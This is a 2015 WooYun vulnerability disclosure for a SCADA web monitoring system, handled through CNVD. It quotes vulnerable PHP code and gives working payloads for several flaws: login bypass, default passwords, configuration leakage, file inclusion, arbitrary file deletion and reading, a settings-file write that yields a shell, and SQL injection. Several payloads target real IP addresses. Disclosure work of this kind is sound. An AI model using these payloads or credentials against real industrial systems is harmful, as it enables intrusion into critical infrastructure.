当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131719

漏洞标题:某大型SCADA通用系统多处高危漏洞打包(均可无需登录GetShell)

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2015-08-07 10:24

修复时间:2015-11-05 15:20

公开时间:2015-11-05 15:20

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-07: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向第三方安全合作伙伴开放
2015-10-01: 细节向核心白帽子及相关领域专家公开
2015-10-11: 细节向普通白帽子公开
2015-10-21: 细节向实习白帽子公开
2015-11-05: 细节向公众公开

简要描述:

此系统漏洞较多,文件包含,任意文件删除,任意文件读取,任意文件写入,敏感信息泄露,默认弱口令,通篇sql注入等,均可无需登录GetShell,各类型漏洞打包处理。这里仅做漏洞代码分析,案例简单测试,请勿用于非法用途。

详细说明:

0x001
首先来说说为什么均无需登录即可操作这些漏洞
1、在/help/php/login.php登录后的操作,因为在判断session后,错误时没有exit
2、在首页index.php登录后的操作,压根就没有进行登录验证,直接操作
所以以上两种情况即可无需登录操作整个系统的内容了
0x002
默认弱口令
这里在/help/php/login.php和index.php处的登录存在系统默认弱口令

root
admin


数据库存在弱口令:

ytdf000


这些弱口令在存储和验证时都会通过一个弱加密(偏移5位)函数来处理
0x003
敏感信息泄露
这里后台存在很多敏感信息泄露,都是系统运行的数据信息
这里给一处系统配置信息泄露:

<?php
@require_once(dirname( __FILE__ )."/../../../setting.inc.php");
@require_once(dirname( __FILE__ )."/../../share/server/func.php");
$adminPwd=encrypt($g_adminPassword,false);
$dbPwd=encrypt($g_dbPassword,false);

header("Content-Type: text/xml");
print("<?xml version='1.0' encoding='UTF-8'?>");
print("<items>");
print("<item section='1' type='text' name='productName' value='$g_productName'/>");
print("<item section='1' type='select' name='os' value='$g_os' options='windows,unix,linux'/>");
print("<item section='1' type='select' name='platform' value='$g_platform' options='df8002,df8900,df8000,df8003,df8003s,df8003i,df8003d,df8003c'/>");
print("<item section='1' type='select' name='language' value='$g_language' options='zh-cn,en,es' uiOptionTexts='simplifiedChinese,english,espanish'/>");
print("<item section='1' type='text' name='adminUser' value='$g_adminUser'/>");
print("<item section='1' type='password' name='adminPassword' value='$adminPwd'/>");
print("<item section='1' type='select' name='uiTemplate' value='$g_uiTemplate' options='default' uiOptionTexts='defaultTemplate'/>");
print("<item section='1' type='text' name='alarmVoice' value='$g_alarmVoice'/>");

print("<item section='1' type='text' name='svgPath' value='$g_svgPath'/>");
print("<item section='1' type='text' name='indexSvg' value='$g_indexSvg'/>");
print("<item section='1' type='text' name='expiredSeconds' value='$g_expiredSeconds'/>");
print("<item section='1' type='select' name='tablePublishMode' value='$g_tablePublishMode' options='htmTable,jpgTable,xlsTable' uiOptionTexts='htmTable,jpgTable,xlsTable'/>");
print("<item section='1' type='select' name='tsRenderMode' value='$g_tsRenderMode' options='volt,fixed' uiOptionTexts='byVoltColor,byFixedColor'/>");
print("<item section='1' type='select' name='anonymousValid' value='$g_anonymousValid' options='false,true' uiOptionTexts='disableAnonymous,enableAnonymous'/>");
print("<item section='1' type='text' name='anonymousIPs' value='$g_anonymousIPs'/>");

print("<item section='2' type='select' name='dbType' value='$g_dbType' options='oracle,sybase,mysql,mssql,dm'/>");
print("<item section='2' type='select' name='dbTableType' value='$g_dbTableType' options='zh-cn,en' uiOptionTexts='chineseTable,englishTable'/>");
print("<item section='2' type='select' name='dbCharset' value='$g_dbCharset' options='GBK,UTF-8,ISO-8859-1'/>");
print("<item section='2' type='select' name='dbMode' value='$g_dbMode' options='0,1,2,3' uiOptionTexts='net1Db1,net1Db2,net2Db1,net2Db2'/>");
print("<item section='2' type='text' name='dbService1' value='$g_dbService1'/>");
print("<item section='2' type='text' name='dbService2' value='$g_dbService2'/>");
print("<item section='2' type='text' name='dbService1a' value='$g_dbService1a'/>");
print("<item section='2' type='text' name='dbService2a' value='$g_dbService2a'/>");
print("<item section='2' type='text' name='dbUser' value='$g_dbUser'/>");
print("<item section='2' type='password' name='dbPassword' value='$dbPwd'/>");
print("<item section='2' type='select' name='rdbCharset' value='$g_rdbCharset' options='GBK,ISO-8859-1'/>");
print("</items>");
?>


这里直接包含了setting.inc.php文件,无需登录直接访问如下链接即可获取系统配置信息:
http://124.129.7.215/modules/manage/server/requestWorkMode.php
http://61.150.109.61:81/modules/manage/server/requestWorkMode.php
</code>

1.png


0x004
任意文件包含,这里存在三处
第一处文件包含,文件modules/curve/server/printcurve.php

<?php
$t_core_dir = dirname( __FILE__ ).DIRECTORY_SEPARATOR;
@require_once($t_core_dir."../../share/server/func.php");
@require_once($t_core_dir."../../../config.php");
@require_once($t_core_dir."../../../global.php");
@require_once($t_core_dir."../../../entry/dfnw_delegate.php");
$action = trim($_GET['action']);
include($root_dir."template/".strtolower($templatestyle)."/curve/".$action.".htm");
//include PrintTemplate($action);
?>


这里没有进行登录验证
将action参数带入所要包含的文件中,导致文件包含
payload:

http://221.214.179.228:5000/modules/curve/server/printcurve.php?action=../../../../../../../../../../../../windows/win.ini%00.htm


2.png


第二处文件包含,文件modules/event/server/printevent.php

<?php
$t_core_dir = dirname( __FILE__ ).DIRECTORY_SEPARATOR;
@require_once($t_core_dir."../../share/server/func.php");
@require_once($t_core_dir."../../../config.php");
@require_once($t_core_dir."../../../global.php");
@require_once($t_core_dir."../../../entry/dfnw_delegate.php");
$action = trim($_GET['action']);
include($root_dir."template/".strtolower($templatestyle)."/event/".$action.".htm");
?>


跟第一处文件包含原理一样
payload:

http://221.214.179.228:5000/modules/event/server/printevent.php?action=../../../../../../../../../../../../windows/win.ini%00.htm


第三处文件包含,文件modules/tmr/server/switchControlPanel.php

<?php
@include_once(dirname( __FILE__ )."/../../../config.php");
$func=$_REQUEST["func"];
@include(dirname( __FILE__ )."/../../../template/$g_uiTemplate/tmr/$func.htm");
?>


func参数直接进入include中,导致包含产生
payload:

http://221.214.179.228:5000/modules/tmr/server/switchControlPanel.php?func=../../../../../../../../../../../../windows/win.ini%00.htm


当然这里所要包含的文件可以直接从fckeditor进行上传了
0x005
任意文件删除
第一处文件删除,文件help/php/deleteTheme.php

<?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");
require_once('../dbi/entry.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
function delSelTheme($id,$fileName,$type)
{
$flag=true;
$msg="''+LANGUAGE.MESSAGES.errorOccured+':<br>'";

$db=new DbEntry(false);
if(!doThemeDelete($db,$id,$fileName,$type))
{
$flag=false;
$msg.="+LANGUAGE.MESSAGES.fileDeleteFailed+'?<br>'";
$msg.="+LANGUAGE.MESSAGES.dbQueryFailed+'?<br>'";
$msg.="+LANGUAGE.MESSAGES.dbUpdateFailed+'?<br>'";
}

//从数据库中获取全部数据
$sql="select ID,Parent_ID,Depth,Type,Title,File_Name,Keywords,Birthday,Last_Update,Shortcut,Sequence from xopensdb..Theme_Info_Tab order by Depth,Type,Sequence,Title";
$result=$db->query($sql);
if($result===false)
{
$flag=false;
$msg.="+LANGUAGE.MESSAGES.dbQueryFailed+'?<br>'";
}
else
{
//更新缓存文件
if(!updateCacheData($result,"themeInfo"))
{
$flag=false;
$msg.="+LANGUAGE.MESSAGES.fileCreateFailed+'?<br>'";
}
}
if($flag) $msg="LANGUAGE.MESSAGES.themeDeleteFinished";
return $msg;
}

function doThemeDelete($dbHandle,$id,$fileName,$type)
{
$flag=true;
//删除文件
if(!deleteFile(iconv("UTF-8",$g_dbCharset,"../userfiles/file/$fileName"))) $flag=false;
//删除数据库中的记录
$sql="delete from xopensdb..Theme_Info_Tab where ID=$id";
if($dbHandle->update($sql)===false) $flag=false;

//如果是文件夹
if($type=="0")
{
//取得文件夹下的所有文件名
$sql="select ID,File_Name,Type,Parent_ID from xopensdb..Theme_Info_Tab where Parent_ID=$id";
$result=$dbHandle->query($sql);
if($result===false) $flag=false;
else
{
//删除文件夹下的所有文件
foreach($result as $rec)
{
if(!doThemeDelete($dbHandle,$rec[0],$rec[1],$rec[2])) $flag=false;
}
}
}
return $flag;
}

$id=$_GET["id"];
$fileName=$_GET["fileName"];
$type=$_GET["type"];
$msg=delSelTheme($id,$fileName,$type);
?>


可以看到这里登录验证失败后,直接header跳转,并没有exit,所要继续执行
参数filename进入函数delseltheme,然后进入doThemeDelete函数,最后进入deleteFile函数,文件util.inc.php

unction deleteFile($pathFile)
{
if(file_exists($pathFile)) unlink($pathFile);
if(file_exists($pathFile)) return false;
else return true;
}


到最后pathfile直接被unlink删除,导致任意文件删除
payload:

http://221.214.179.228:5000/help/php/deleteTheme.php?id=1&fileName=root.txt&type=1


filename为你要删除的任意文件,这里即可直接删除/help/userfiles/file/root.txt

3.png


当然这里的id参数还存在sql注入漏洞,后面再说
第二处文件删除在,同样的问题在help/php/modifyTheme.php

?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");

require_once('../xajax/xajax.inc.php');
require_once('../dbi/entry.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
$xajax=new xajax();
$xajax->registerFunction('modSelTheme');
$xajax->registerFunction('getThemeContent');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');
function modSelTheme($id,$pid,$depth,$themeType,$shortcut,$themeTitle,$fileName,$keywords,$themeContent,$birthday,$newFileName,$sequence)
{
global $g_dbCharset;

$flag=true;
$error="''+LANGUAGE.MESSAGES.errorOccured+':\n'";
//删除旧文件
$file=iconv("UTF-8",$g_dbCharset,"../userfiles/file/$fileName");
if(file_exists($file)) deleteFile($file);


同样filename进入deleteFile函数,导致任意文件删除,原理同第一处
第三处文件删除在,modules/manage/server/reportTemplates.php文件

function deleteFiles($fileNames,$dir)
{
if(!is_dir($dir)) return "false";

$flag="true";
foreach ($fileNames as $name)
{
if(!unlink("$dir/$name")) $flag="false";
}

return $flag;
}
$oper = trim ( $_POST ['oper'] );
$data = trim ( $_POST ['data'] );
$files=iconvArray("UTF-8",$g_rdbCharset,explode("|",$data));
header('Content-Type: text/xml');
print('<?xml version="1.0" encoding="UTF-8"?>');
print('<items>');
$uploadDir=getenv("RUNHOME")."/webtable/upload";
$publishDir=getenv("RUNHOME")."/webtable/templates";
switch($oper)
{
case "list"://生成列表
//上传的临时模板
print(transDir2XMLItems($uploadDir,"uploaded"));
//已发布的正式模板
print(transDir2XMLItems($publishDir,"published"));
break;
case "publish"://发布模板
print("<result>".moveFiles($files,$uploadDir,$publishDir)."</result>");
break;
case "cancel"://撤销已发布的模板
print("<result>".moveFiles($files,$publishDir,$uploadDir)."</result>");
break;
case "deluploaded"://删除由报表机上传的临时模板
print("<result>".deleteFiles($files,$uploadDir)."</result>");
break;
case "delpublished"://删除已发布模板
print("<result>".deleteFiles($files,$publishDir)."</result>");
break;

}


可控变量data进入files变量,然后进入deleteFile函数,最后通过拼接路径进入unlink
0x006
任意文件读取
文件/help/php/modifyTheme.php

?php
@session_start();
if($_SESSION["user"]=="") header("Location:login.php");

require_once('../xajax/xajax.inc.php');
require_once('../dbi/entry.php');
require_once('../php/util.inc.php');
require_once('../php/setting.inc.php');
$xajax=new xajax();
$xajax->registerFunction('modSelTheme');
$xajax->registerFunction('getThemeContent');
$xajax->processRequest();
echo $xajax->getJavascript('../xajax');
.........
function getThemeContent($fileName)
{
global $g_dbCharset;
$fileName=iconv("UTF-8",$g_dbCharset,$fileName);
$content=readHtmlFile($fileName);
$obj=new xajaxResponse();
$obj->assign("contentCache","value",$content);
$obj->script("fillThemeContent();");
return $obj;
}


同样这里的登录绕过
调用了函数getThemeContent,参数filename是我们可控的
filename参数进入readHtmlFile函数,文件util.inc.php文件

unction readHtmlFile($name)
{
require_once("setting.inc.php");
global $g_userFilePath;
$content="";
$fHandle=fopen($name,"r");
if($fHandle)
{
$content=fread($fHandle,filesize($name));
$content=str_replace("../../userfiles/",$g_userFilePath,$content);
fclose($fHandle);
}
return $content;
}


参数name直接被fopen,fread,导致任意文件读取漏洞
payload:

POST /help/php/modifyTheme.php HTTP/1.1
xajax=getThemeContent&xajaxr=1438667657727&xajaxargs[]=setting.inc.php


这里的xajax参数为要调用的函数,这里为getThemeContent
xajaxargs参数为需要读取的filename,这里为当前目录下的文件,可以../读取任意文件
0x007
任意文件写入GetShell
文件/modules/manage/server/updateWorkMode.php

<?php
@include_once("../../../core/util/util.inc.php");
@require_once(dirname( __FILE__ )."/../../share/server/func.php");
function updateSetting($setting)
{
$values=explode(',',$setting);
$num=count($values);
$file="../../../setting.inc.php";
$fHandle=fopen($file,"w+");
if($fHandle)
{
fwrite($fHandle,"<?php\n");
for($i=0;$i<$num;$i++)
{
$item=explode("=",$values[$i]);
if($item[0]=="adminPassword" || $item[0]=="dbPassword")
{
$item[1]=encrypt($item[1],true);
}
fwrite($fHandle," \$g_".$item[0]."=\"".$item[1]."\";\n");

if($item[0]=="platform")
{
if($item[1]=="df8002" || $item[1]=="df8900")
{
$fileSelect = "../../graph/js/ClientProcessor_8900.js";
$fileInuse = "../../graph/js/ClientProcessor.js";
copy($fileSelect, $fileInuse);
}
else
{
$fileSelect = "../../graph/js/ClientProcessor_8003.js";
$fileInuse = "../../graph/js/ClientProcessor.js";
copy($fileSelect, $fileInuse);
}
}
}

fwrite($fHandle,"?>");
fclose($fHandle);
return true;
}
return false;
}
.........
$flag=true;
if(!updateSetting($_REQUEST['values'])) $flag=false;
.......
?>


注意看这里的updateSetting($_REQUEST['values'])
从代码中看到,这里的values进入updatesetting函数后,只有item[1]能进入文件中,而去还是经过encrypt函数加密处理的

function encrypt($srcMsg,$flag)
{
$dstMsg="";
$len=strlen($srcMsg);
for($i=0;$i<$len;$i++)
{
if($flag) $dstMsg.=chr(ord($srcMsg[$i])+5);
else $dstMsg.=chr(ord($srcMsg[$i])-5);
}
return $dstMsg;
}


这里只进行了assic码的偏移操作
所要我们要写入我们的内容时,这里得先将恶意代码内容的assic码减5后在写入文件即可
0x008
sql注入漏洞

这里就不多说了,通篇存在sql操作的地方,只要有可控变量进入都存在sql注入漏洞,这里就不在一一列举了,意义不大,看代码到处都是


到此为止,此SCADA监控web系统中的漏洞基本上都涉及到了,各个类型都存在多个漏洞
这里仅做代码分析,给出payload,部分给出案例测试
至于漏洞利用和对此SCADA系统的影响就不在深入了,见漏洞:
http://wooyun.org/bugs/wooyun-2010-0131500

漏洞证明:

见详细说明中payload

修复方案:

加强登录验证,全局过滤处理,加强安全意识。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-07 15:18

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商(或网站管理方)公开联系渠道向其邮件(和电话)通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无